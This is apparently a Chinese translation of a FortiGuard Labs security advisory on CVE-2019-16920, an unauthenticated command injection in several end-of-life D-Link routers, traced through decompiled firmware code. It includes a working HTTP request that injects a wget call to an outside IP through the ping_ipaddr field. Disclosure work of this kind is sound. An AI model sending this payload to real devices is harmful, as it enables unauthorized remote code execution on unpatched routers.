0x00 前言
2019年9月,Fortinet的FortiGuard Labs发现并向官方反馈了D-Link产品中存在的一个未授权命令注入漏洞(FG-VD-19-117/CVE-2019-16920),成功利用该漏洞后,攻击者可以在设备上实现远程代码执行(RCE)。由于攻击者无需通过身份认证就能远程触发该漏洞,因此我们将该漏洞标记为高危级别漏洞。
根据我们的测试,搭载最新版固件的如下D-Link产品存在该漏洞:
- DIR-655
- DIR-866L
- DIR-652
- DHP-1565
在本文撰写时,这些产品已超出产品支持生命周期(EOL),这意味着厂商不会再为我们发现的问题提供补丁。FortiGuard Labs在此感谢厂商的快速响应,建议用户尽快升级到新的设备。
0x01 漏洞细节
设备首先是没有采用正确的身份认证流程,这也是漏洞利用的基础。为了分析该漏洞,我们可以打开路由器管理页面(使用admin
用户名),然后尝试登录。
POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Connection: close
Referer: http://192.168.232.128/
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&
graph_code=&session_id=62384
登录操作由/apply_sec.cgi
URI负责处理。快速搜索后,我们发现apply_sec.cgi
代码位于/www/cgi/ssi
程序的do_ssc
函数中(0x40a210
)。
current_user
和user_username
的值来自于nvram
:
图1. do_ssc
代码片段
该函数随后会将current_user
的值与acStack160
变量作比较。
只有用户成功登录后,设备才会设置nvram
中的current_user
值,因此默认情况下,这个值并没有被初始化。acStack160
的值为base64encode(user_username)
的返回值,默认情况下user_username
的值为user
,因此iVar2
的值不等于0
,设备不会返回error.asp
页面。
图2. do_ssc
代码片段
在do-while
循环代码中,设备会调用put_querystring_env()
函数来解析HTTP POST请求,将相应值保存到ENV
中。接下来,该函数会调用query_vars(“action”, acStack288, 0x80)
。
图3. query_vars
函数代码片段
该函数会提供action
对应的值,保存到ENV
中的acStack288
变量。如果执行成功,该函数会返回0
。
当iVar2
等于0
时,代码进入if
条件分支,将URI值与/apply_sec.cgi
作比较。如果满足条件,则ppcVar3
指向SSC_SEC_OBJS
数组,否则指向的是SSC_OBJS
数组。
图4. do_ssc
代码片段
现在ppcVar3
指向的是SSC_SEC_OBJS
数组,该数组包含一系列action
值。如果我们输入不在该列表中的一个值,程序会返回LAB_0040a458
,输出“No OBJS for action: <action input>”错误信息。
图5. do_ssc
中的错误信息
我们可以在图2中看到错误的身份认证过程。即使我们没通过认证,代码仍会继续执行,这意味着我们可以通过/apply_sec.cgi
路径,执行SSC_SEC_OBJS
中的任意action
操作。
那么SSC_SEC_OBJS
action
数组的具体位置在哪?该数组位于init_plugin()
函数的register
中:
图6. init_plugin
代码片段
如果我们跳转到0x0051d89c
地址处,将这些变量值转换为word
类型,可以看到如下数组:
图7. 0x0051d89C
地址
其中有一个action
引起了我们的注意:
图8. ping_test
字符串以及对应的action
地址
找到sub_41A010
,该函数从ping_ipaddr
参数中提取输入值,通过inet_aton()
、inet_ntoa()
函数进行转换,然后执行ping操作。
图9. sub_41A010
代码片段
如果尝试输入特殊字符(比如双引号、单引号、分号等),ping操作会执行失败。幸运的是,如果我们传入换行符(比如8.8.8.8%0als
),就可以实现命令注入攻击效果。
POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
Connection: close
Referer: http://192.168.232.128/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)
这里我们向apply_sec.cgi
发起POST HTTP请求,执行的action
为ping_test
,然后通过ping_ipaddr
参数实现命令注入。虽然路由器返回的是登录页面,但ping_test
操作实际上已经成功执行:ping_ipaddr
参数值可以在路由器上执行echo 1234
命令,然后将结果返回给我们的服务器。
图10. 成功利用漏洞
此时,攻击者可以获取管理员密码,或者将自己的后门安装到目标设备中。
0x02 时间线
2019年9月22日:FortiGuard实验室向D-Link报告该漏洞。
2019年9月23日:D-Link确认该漏洞
2019年9月25日:D-Link确认这些产品已超出服务周期(EOL)
2019年10月3日:我们公布漏洞细节并发布安全公告
0x03 总结
该漏洞的根源在于设备没有对原生系统所执行的命令进行检查,这也是许多固件厂商经常存在的一种安全隐患。
有多款D-Link设备受该漏洞影响(CVE-2019-16920),FortiGuard Labs将该漏洞标注为高危等级漏洞。根据厂商描述,这些设备已超出服务周期(EOL),因此我们建议D-Link用户应当立即升级到最新产品。
发表评论
您还未登录,请先登录。
登录